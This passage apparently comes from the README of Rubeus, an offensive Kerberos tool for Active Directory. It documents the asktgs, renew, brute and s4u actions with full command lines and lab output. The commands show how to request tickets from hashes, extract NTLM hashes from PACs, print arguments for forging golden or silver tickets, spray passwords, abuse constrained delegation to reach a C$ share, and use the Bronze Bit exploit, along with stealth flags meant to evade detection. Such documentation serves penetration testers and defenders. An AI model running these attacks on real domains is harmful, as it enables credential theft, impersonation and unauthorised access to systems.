: 7MS2ajfZo4HedoK+K3dLcQ== + ASREP (key) : 9B1C28A276FBBE557D0F9EE153FE24E1 + + [*] Getting credentials using U2U + + CredentialInfo : + Version : 0 + EncryptionType : rc4_hmac + CredentialData : + CredentialCount : 1 + NTLM : C69A7EA908898C23B72E65329AF7E3E8 + + +### asktgs + +The **asktgs** action will build/parse a raw TGS-REQ/TGS-REP service ticket request using the specified TGT `/ticket:X` supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the request traffic. The `/ptt` flag will "pass-the-ticket" and apply the resulting service ticket to the current logon session. One or more `/service:X` SPNs **must** be specified, comma separated. + +The supported encryption types in the constructed TGS-REQ will be RC4_HMAC, AES128_CTS_HMAC_SHA1, and AES256_CTS_HMAC_SHA1. In this case, the highest mutually supported encryption will be used by the KDC to build the returned service ticket. If you want to force DES, RC4, or AES128/256 keys, use `/enctype:[RC4|AES128|AES256|DES]`. + +In order to request a service ticket for an account using an enterprise principal (i.e. *user@domain.com*), the `/enterprise` flag can be used. + +By default, several differences exists between TGS-REQ's generated by Rubeus and genuine TGS-REQ's. To form TGS-REQ's more inline with genuine requests, the `/opsec` flag can be used, this will also cause an additional TGS-REQ to be sent automatically when a service ticket is requested for an account configured for unconstrained delegation. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than `aes256` and will just throw a warning and exit if another encryption type is used. + +To play with other scenarios manually, `/tgs:X` can be used to supply an additional ticket which is appended to the request body. This also adds the constrained delegation KDC option as well as avoids dynamically determining the domain from the given SPN `/service:X`, for this reason the `/targetdomain:X` argument has been implemented to force the request to use the supplied domain which is useful for requesting delegated service tickets from a foreign domain or tickets with usual SPNs. + +The `/u2u` flag was implemented to request User-to-User tickets. Together with the `/tgs:X` argument (used to supply the target accounts TGT), the `/service:X` argument can be the username of the account the supplied TGT is for (with the `/tgs:X` argument). The `/targetuser:X` argument will request a PAC of any other account by inserting a PA-FOR-USER PA data section with the `target user's` username. + +The `/printargs` flag will print the arguments required to forge a ticket with the same PAC values if the PAC is readable. This could be done by supplying the `/servicekey:X` argument or performing a `/u2u` request with a known session key. + + +Requesting a TGT for dfm.a and then using that ticket to request a service ticket for the "LDAP/primary.testlab.local" and "cifs/primary.testlab.local" SPNs: + + C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + [*] Action: Ask TGT + + [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a' + [*] Connecting to 192.168.52.100:88 + [*] Sent 230 bytes + [*] Received 1537 bytes + [+] TGT request successful! + [*] base64(ticket.kirbi): + + doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... + + C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + [*] Action: Ask TGS + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building TGS-REQ request for: 'LDAP/primary.testlab.local' + [*] Connecting to 192.168.52.100:88 + [*] Sent 1514 bytes + [*] Received 1562 bytes + [+] TGS request successful! + [*] base64(ticket.kirbi): + + doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)... + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + [*] Action: Ask TGS + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building TGS-REQ request for: 'cifs/primary.testlab.local' + [*] Connecting to 192.168.52.100:88 + [*] Sent 1514 bytes + [*] Received 1562 bytes + [+] TGS request successful! + [*] base64(ticket.kirbi): + + doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)... + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + + C:\Rubeus>Rubeus.exe klist + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + [*] Action: List Kerberos Tickets (Current User) + + [0] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM + Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL + Client Name : dfm.a @ TESTLAB.LOCAL + Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000) + + [1] - 0x12 - aes256_cts_hmac_sha1 + Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM + Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL + Client Name : dfm.a @ TESTLAB.LOCAL + Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000) + + +Requesting a service ticket for an AES-enabled service account, specifying that we _only_ support RC4_HMAC: + + C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4 + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.1 + + [*] Action: Ask TGS + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Requesting 'rc4_hmac' etype for the service ticket + [*] Building TGS-REQ request for: 'roast/me' + [+] TGS request successful! + [*] base64(ticket.kirbi): + + doIFrjCCBaqgAwIBBaEDA...(snip)... + + [*] Action: Describe Ticket + + UserName : dfm.a + UserRealm : TESTLAB.LOCAL + ServiceName : roast/me + ServiceRealm : TESTLAB.LOCAL + StartTime : 2/25/2019 3:10:59 PM + EndTime : 2/25/2019 8:09:54 PM + RenewTill : 3/4/2019 3:09:54 PM + Flags : name_canonicalize, pre_authent, renewable, forwardable + KeyType : rc4_hmac + Base64(key) : Gg3zZicIl5c50KGecCf8XA== + +Requesting a user-to-user service ticket and including the *PA for User* PA-DATA section (an S4U2self request), it is possible to get a readable PAC for any user: + + C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Ask TGS + + [*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80) + [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket + [*] Building User-to-User TGS-REQ request for: 'exploitph' + [+] TGS request successful! + [*] base64(ticket.kirbi): + + doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + cGxvaXRwaA== + + ServiceName : exploitph + ServiceRealm : RUBEUS.GHOSTPACK.LOCAL + UserName : ccob + UserRealm : RUBEUS.GHOSTPACK.LOCAL + StartTime : 20/07/2021 22:00:07 + EndTime : 21/07/2021 07:59:39 + RenewTill : 27/07/2021 21:59:39 + Flags : name_canonicalize, pre_authent, renewable, forwardable + KeyType : aes256_cts_hmac_sha1 + Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q= + Decrypted PAC : + LogonInfo : + LogonTime : 01/01/1601 00:00:00 + LogoffTime : + KickOffTime : + PasswordLastSet : 20/07/2021 21:58:44 + PasswordCanChange : 21/07/2021 21:58:44 + PasswordMustChange : 31/08/2021 21:58:44 + EffectiveName : ccob + FullName : C Cob + LogonScript : + ProfilePath : + HomeDirectory : + HomeDirectoryDrive : + LogonCount : 0 + BadPasswordCount : 0 + UserId : 1109 + PrimaryGroupId : 513 + GroupCount : 1 + Groups : 513 + UserFlags : (32) EXTRA_SIDS + UserSessionKey : 0000000000000000 + LogonServer : PDC1 + LogonDomainName : RUBEUS + LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039 + UserAccountControl : (16) NORMAL_ACCOUNT + ExtraSIDCount : 1 + ExtraSIDs : S-1-18-2 + ResourceGroupCount : 0 + ClientName : + Client Id : 20/07/2021 21:59:39 + Client Name : ccob + UpnDns : + DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL + UPN : ccob@rubeus.ghostpack.local + Flags : 0 + ServerChecksum : + Signature Type : KERB_CHECKSUM_HMAC_MD5 + Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID) + KDCChecksum : + Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + Signature : DA57618BB48EA56371E374B1 (UNVALIDATED) + +If the PAC can be decrypted (by using a user-to-user request or by passing the `/servicekey`) is it possible to print the arguments required to forge a ticket containg the same PAC values: + + C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA== + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Ask TGS + + [*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80) + [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket + [*] Building TGS-REQ request for: 'roast/me' + [+] TGS request successful! + [*] base64(ticket.kirbi): + + doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + AgECoQ0wCxsFcm9hc3QbAm1l + + ServiceName : roast/me + ServiceRealm : RUBEUS.GHOSTPACK.LOCAL + UserName : harmj0y + UserRealm : RUBEUS.GHOSTPACK.LOCAL + StartTime : 20/07/2021 00:02:27 + EndTime : 20/07/2021 09:57:46 + RenewTill : 26/07/2021 23:57:46 + Flags : name_canonicalize, pre_authent, renewable, forwardable + KeyType : aes256_cts_hmac_sha1 + Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4= + Decrypted PAC : + LogonInfo : + LogonTime : 19/07/2021 23:00:38 + LogoffTime : + KickOffTime : + PasswordLastSet : 14/07/2021 02:07:12 + PasswordCanChange : 15/07/2021 02:07:12 + PasswordMustChange : + EffectiveName : harmj0y + FullName : Harm J0y + LogonScript : + ProfilePath : + HomeDirectory : + HomeDirectoryDrive : + LogonCount : 8 + BadPasswordCount : 0 + UserId : 1106 + PrimaryGroupId : 513 + GroupCount : 1 + Groups : 513 + UserFlags : (32) EXTRA_SIDS + UserSessionKey : 0000000000000000 + LogonServer : PDC1 + LogonDomainName : RUBEUS + LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039 + UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD + ExtraSIDCount : 1 + ExtraSIDs : S-1-18-1 + ResourceGroupCount : 0 + CredentialInfo : + Version : 0 + EncryptionType : rc4_hmac + CredentialData : *** NO KEY *** + ClientName : + Client Id : 19/07/2021 23:57:46 + Client Name : harmj0y + UpnDns : + DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL + UPN : harmj0y@rubeus.ghostpack.local + Flags : 0 + ServerChecksum : + Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + Signature : 96FA020562EE73B38D31AEEF (VALID) + KDCChecksum : + Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + Signature : E7FDCBAF5F580DFB567DF102 (UNVALIDATED) + + + [*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands: + + /user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD + +Using PKINIT to request a TGT and then requesting a user-to-user service ticket to gain access to the NTLM hash stored within the PAC (manually performing the `/getcredentials` flag to **asktgt**): + + C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Ask TGS + + [*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80) + [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket + [*] Building User-to-User TGS-REQ request for: 'harmj0y' + [+] TGS request successful! + [*] base64(ticket.kirbi): + + doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk= + + ServiceName : harmj0y + ServiceRealm : RUBEUS.GHOSTPACK.LOCAL + UserName : harmj0y + UserRealm : RUBEUS.GHOSTPACK.LOCAL + StartTime : 19/07/2021 23:01:05 + EndTime : 20/07/2021 09:00:38 + RenewTill : 26/07/2021 23:00:38 + Flags : name_canonicalize, pre_authent, renewable, forwardable + KeyType : rc4_hmac + Base64(key) : Qm9zdwFIINSHAAmqaviuEw== + ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9 + Decrypted PAC : + LogonInfo : + LogonTime : 19/07/2021 22:59:21 + LogoffTime : + KickOffTime : + PasswordLastSet : 14/07/2021 02:07:12 + PasswordCanChange : 15/07/2021 02:07:12 + PasswordMustChange : + EffectiveName : harmj0y + FullName : Harm J0y + LogonScript : + ProfilePath : + HomeDirectory : + HomeDirectoryDrive : + LogonCount : 7 + BadPasswordCount : 0 + UserId : 1106 + PrimaryGroupId : 513 + GroupCount : 1 + Groups : 513 + UserFlags : (32) EXTRA_SIDS + UserSessionKey : 0000000000000000 + LogonServer : PDC1 + LogonDomainName : RUBEUS + LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039 + UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD + ExtraSIDCount : 1 + ExtraSIDs : S-1-18-1 + ResourceGroupCount : 0 + CredentialInfo : + Version : 0 + EncryptionType : rc4_hmac + CredentialData : + CredentialCount : 1 + NTLM : C69A7EA908898C23B72E65329AF7E3E8 + ClientName : + Client Id : 19/07/2021 23:00:38 + Client Name : harmj0y + UpnDns : + DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL + UPN : harmj0y@rubeus.ghostpack.local + Flags : 0 + ServerChecksum : + Signature Type : KERB_CHECKSUM_HMAC_MD5 + Signature : ADEC4A1A7DF70D0A61047E510E778454 (VALID) + KDCChecksum : + Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 + Signature : 6CF688E02147BEEC168E0125 (UNVALIDATED) + +**Note The `/asrepkey` from the TGT retrival must be passed to decrypted the CredentialData section where the NTLM hash is stored but the `/servicekey` argument is not required here as the session key from the TGT is being used because it is a user-to-user request. + +### renew + +The **renew** action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified `/ticket:X` supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The `/ptt` flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. + +Note that TGTs MUST be renewed before their EndTime, within the RenewTill window. + + C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + [*] Action: Renew TGT + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a' + [*] Connecting to 192.168.52.100:88 + [*] Sent 1506 bytes + [*] Received 1510 bytes + [+] TGT renewal request successful! + [*] base64(ticket.kirbi): + + doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + +The `/autorenew` flag will take an existing `/ticket:X` .kirbi file/blob, sleep until endTime-30 minutes, auto-renew the ticket and display the refreshed ticket blob. It will continue this renewal process until the allowable renew-till renewal window passes. + + C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + [*] Action: Auto-Renew TGT + + + [*] User : dfm.a@TESTLAB.LOCAL + [*] endtime : 2/10/2019 11:44:09 PM + [*] renew-till : 2/17/2019 6:44:09 PM + [*] Sleeping for 263 minutes (endTime-30) before the next renewal + [*] Renewing TGT for dfm.a@TESTLAB.LOCAL + + [*] Action: Renew TGT + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a' + [*] Connecting to 192.168.52.100:88 + [*] Sent 1506 bytes + [*] Received 1510 bytes + [+] TGT renewal request successful! + [*] base64(ticket.kirbi): + + doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... + + +### brute + +The **brute** action will perform a Kerberos-based password bruteforcing or password spraying attack. **spray** can also be used as the action name. + + C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.5.0 + + [-] Blocked/Disabled user => Guest + [-] Blocked/Disabled user => DefaultAccount + [-] Blocked/Disabled user => krbtgt + [-] Blocked/Disabled user => disabled + [+] STUPENDOUS => newuser:Password123!! + [*] base64(newuser.kirbi): + + doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)... + + +## Constrained delegation abuse + +Breakdown of the constrained delegation commands: + +| Command | Description | +| ----------- | ----------- | +| [s4u](#s4u) | Perform S4U2self and S4U2proxy actions | + + +### s4u + +The **s4u** action is nearly identical to [Kekeo](https://github.com/gentilkiwi/kekeo/)'s **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field) this action can be used to abuse access to the target SPN/server. Constrained delegation is complex. For more information see [this post](http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/) or Elad Shamir's ["Wagging the Dog"](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) post. + +A **TL;DR** explanation is that an account with constrained delegation enabled is allowed to request tickets _to itself_ as any user, in a process known as S4U2self. In order for an account to be allowed to do this, it has to have **TrustedToAuthForDelegation** enabled in it's useraccountcontrol property, something that only elevated users can modify by default. This ticket has the **FORWARDABLE** flag set by default. The service can then use this specially requested ticket to request a service ticket to any service principal name (SPN) specified in the account's **msds-allowedtodelegateto** field. So long story short, if you have control of an account with **TrustedToAuthForDelegation** set and a value in **msds-allowedtodelegateto**, you can pretend to be any user in the domain to the SPNs set in the account's **msds-allowedtodelegateto** field. + +This "control" can be the hash of the account (`/rc4` or `/aes256`), or an existing TGT (`/ticket:X`) for the account with a **msds-allowedtodelegateto** value set. If a `/user` and rc4/aes256 hash is supplied, the **s4u** module performs an [asktgt](#asktgt) action first, using the returned ticket for the steps following. If a TGT `/ticket:X` is supplied, that TGT is used instead. + +If an account hash is supplied, the `/nopac` switch can be used to request the initial TGT without a PAC. + +A `/impersonateuser:X` parameter **MUST** be supplied to the **s4u** module. If nothing else is supplied, just the S4U2self process is executed, returning a forwardable ticket: + + C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + [*] Action: Ask TGT + + [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy' + [*] Connecting to 192.168.52.100:88 + [*] Sent 230 bytes + [*] Received 1377 bytes + [+] TGT request successful! + [*] base64(ticket.kirbi): + + doIE+jCCBPagAwIBBaEDAgEWoo...(snip)... + + + [*] Action: S4U + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy' + [*] Sending S4U2self request + [*] Connecting to 192.168.52.100:88 + [*] Sent 1437 bytes + [*] Received 1574 bytes + [+] S4U2self success! + [*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy' + [*] base64(ticket.kirbi): + + doIF2jCCBdagAwIBBaEDAgEWoo...(snip)... + +That forwardable ticket can then be used as a `/tgs:Y` parameter (base64 blob or .kirbi file) to execute the S4U2proxy process. A valid **msds-allowedtodelegateto** value for the account must be supplied (`/msdsspn:X`). Say the **patsy@testlab.local** account looks like this: + + PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto + ldap/PRIMARY.testlab.local/testlab.local + ldap/PRIMARY + ldap/PRIMARY.testlab.local/TESTLAB + ldap/PRIMARY/TESTLAB + ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local + ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local + ldap/PRIMARY.testlab.local + +Then the S4U2proxy abuse function (using the ticket from the previous S4U2self process) would be: + + C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip).. + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + [*] Action: S4U + + [*] Loaded a TGS for TESTLAB.LOCAL\dfm.a@TESTLAB.LOCAL + [*] Impersonating user 'dfm.a@TESTLAB.LOCAL' to target SPN 'ldap/PRIMARY.testlab.local' + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local' + [*] Sending S4U2proxy request + [*] Connecting to 192.168.52.100:88 + [*] Sent 2641 bytes + [*] Received 1829 bytes + [+] S4U2proxy success! + [*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local': + + doIGujCCBragAwIBBaEDAgEWoo..(snip).. + +Where `/ticket:X` is the TGT returned in the first step, and `/tgs` is the S4U2self ticket. Injecting the resulting ticket (manually with [Rubeus.exe ptt /ticket:X](#ptt) or by supplying the `/ptt` flag to the **s4u** command) will allow you access the **ldap** service on primary.testlab.local _as if you are dfm.a_. + +The `/altservice` parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma separated (`/altservice:cifs,HOST,...`). + +Let's expand on the previous example, forging access to the filesystem on **primary.testlab.local** by abusing its constrained delegation configuration and the alternate service substitution. Let's package it all into one step as well, performing a TGT request, S4U2self process, S4U2proxy execution, and injection of the final ticket: + + C:\Rubeus>dir \\primary.testlab.local\C$ + Access is denied. + + C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + [*] Action: Ask TGT + + [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy' + [*] Connecting to 192.168.52.100:88 + [*] Sent 230 bytes + [*] Received 1377 bytes + [+] TGT request successful! + [*] base64(ticket.kirbi): + + doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. + + + [*] Action: S4U + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy' + [*] Sending S4U2self request + [*] Connecting to 192.168.52.100:88 + [*] Sent 1437 bytes + [*] Received 1574 bytes + [+] S4U2self success! + [*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy' + [*] base64(ticket.kirbi): + + doIF2jCCBdagAwIBBaEDAgEWoo..(snip).. + + [*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local' + [*] Final ticket will be for the alternate service 'cifs' + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local' + [*] Sending S4U2proxy request + [*] Connecting to 192.168.52.100:88 + [*] Sent 2641 bytes + [*] Received 1829 bytes + [+] S4U2proxy success! + [*] Substituting alternative service name 'cifs' + [*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local': + + doIGujCCBragAwIBBaEDAgEWoo..(snip).. + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + C:\Rubeus>dir \\primary.testlab.local\C$ + Volume in drive \\primary.testlab.local\C$ has no label. + Volume Serial Number is A48B-4D68 + + Directory of \\primary.testlab.local\C$ + + 07/05/2018 12:57 PM dumps + 03/05/2017 04:36 PM inetpub + 08/22/2013 07:52 AM PerfLogs + 04/15/2017 05:25 PM profiles + 08/28/2018 11:51 AM Program Files + 08/28/2018 11:51 AM Program Files (x86) + 10/09/2018 12:04 PM Temp + 08/23/2018 03:52 PM Users + 10/25/2018 01:15 PM Windows + 1 File(s) 9 bytes + 9 Dir(s) 40,511,676,416 bytes free + +By default, several differences exists between the S4U2Self and S4U2Proxy TGS-REQ's generated by Rubeus and genuine requests. To form the TGS-REQ's more inline with genuine requests, the `/opsec` flag can be used. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than `aes256` and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the `/opsec` changes, the `/force` flag exists. The `/opsec` flag has not yet been implemented for cross domain S4U. + +The *Bronze Bit* exploit (CVE-2020-17049) is implemented using the `/bronzebit` flag. Adding this flag will automatically flip the *forwardable* flag when retreiving the S4U2Self ticket. As flipping this flag requires the service ticket to be decrypted and reencrypted, the long term key (service account's password hash) is required. For this reason, if a TGT is being supplied, the service accounts credentials are also required for this to work. + +It is possible, in certain cirsumstances, to use an S4U2Self ticket to impersonate protected users in order to escalate privileges on the requesting system, as discussed [here](https://exploit.ph/revisiting-delegate-2-thyself.html). For this purpose, the `/self` flag and `/altservice:X` argument can be used to generate a usable service ticket. + +To forge an S4U2Self referral, only the trust key is required. By using the `/targetdomain:X` argument with the `/self` flag and without the `/targetdc` argument, Rubeus will treat the ticket supplied with `/ticket:X` as an S4U2Self referral and only request the final S4U2Self service ticket. The `/altservice:X` can also be used to rewrite the sname in the resulting ticket: + + C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.5.0 + 